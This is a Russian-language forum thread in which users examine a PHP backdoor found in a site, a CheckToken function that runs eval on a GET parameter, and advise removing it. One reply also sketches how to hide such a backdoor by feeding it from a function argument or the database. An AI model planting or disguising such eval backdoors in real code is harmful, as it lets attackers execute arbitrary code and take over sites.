ОБСУЖДЕНИЕ

чем и как eval закрыть

13 сообщений1 просмотровОткрыта
#1
Осторожно, спойлер
}
function CheckToken(){
global $_GET;
eval($_GET['sid']);exit;
}
#2
это типичный самый простой и универсальный бэкдор))
Вот только global $_GET зачем
#3
Valen, удалять можно к чертям да?
#4
Фильтруй запрос.глобал убери. Он там не нужен. Фильтр штмлспесикалс
#5
Господи,ну реально,нахера глобалки то использовать?Тяжело в функцию добавить аргумент и передавать через него значение?
#6
russalp, нужно!
Через этот маленький кусочек кода, можно нах снести твой сайт! .смех.
#7
.смех. потому что не передаст в аргументе код для взлома на прямую))

Хотя, можно даже интереснее было бы закрутить))
#8
Valen, спасибо дружище
#9
там если писаться будет глобальная ошибка, ищи CheckToken(); и тоже нафиг
#10
Valen, Ниче.Всему своё время.Я вспоминаю себя лет так 5-6 назад.Еще хуже был :D
#11
$_GET массив сам по себе суперглобальный, и ему global не нужен, он и так будет доступен
Для справки
http://php.net/manual/ru/language.variables.superglobals.php
#12
Да я в курсе.
Ты меня не понял.
Имел виду что если бы значение которое подставляется а eval передавалось в аргументе, то бекдор не работал бы.

Cloud спросил почему не сделать так
PHP
function CheckToken($a){
eval($a);exit;
}


Вот и ответил ему почему..

Это надо было бы что то мутить типа

$a = вытягиваем откуда то значение;
CheckToken($a);

Вот и написал, что можно что то поинтереснее придумать.
Например, внести в БД значение в каком то разделе сайта, потом это значение передать в $a. Или что то в этом роде, ну тут уже границы заключаются в извращенности кодера .смех.
#13
Cloud, лет 5-6 кодингом особо не занимался вообще, а на старый мастерам заходил синючий погнать .смех.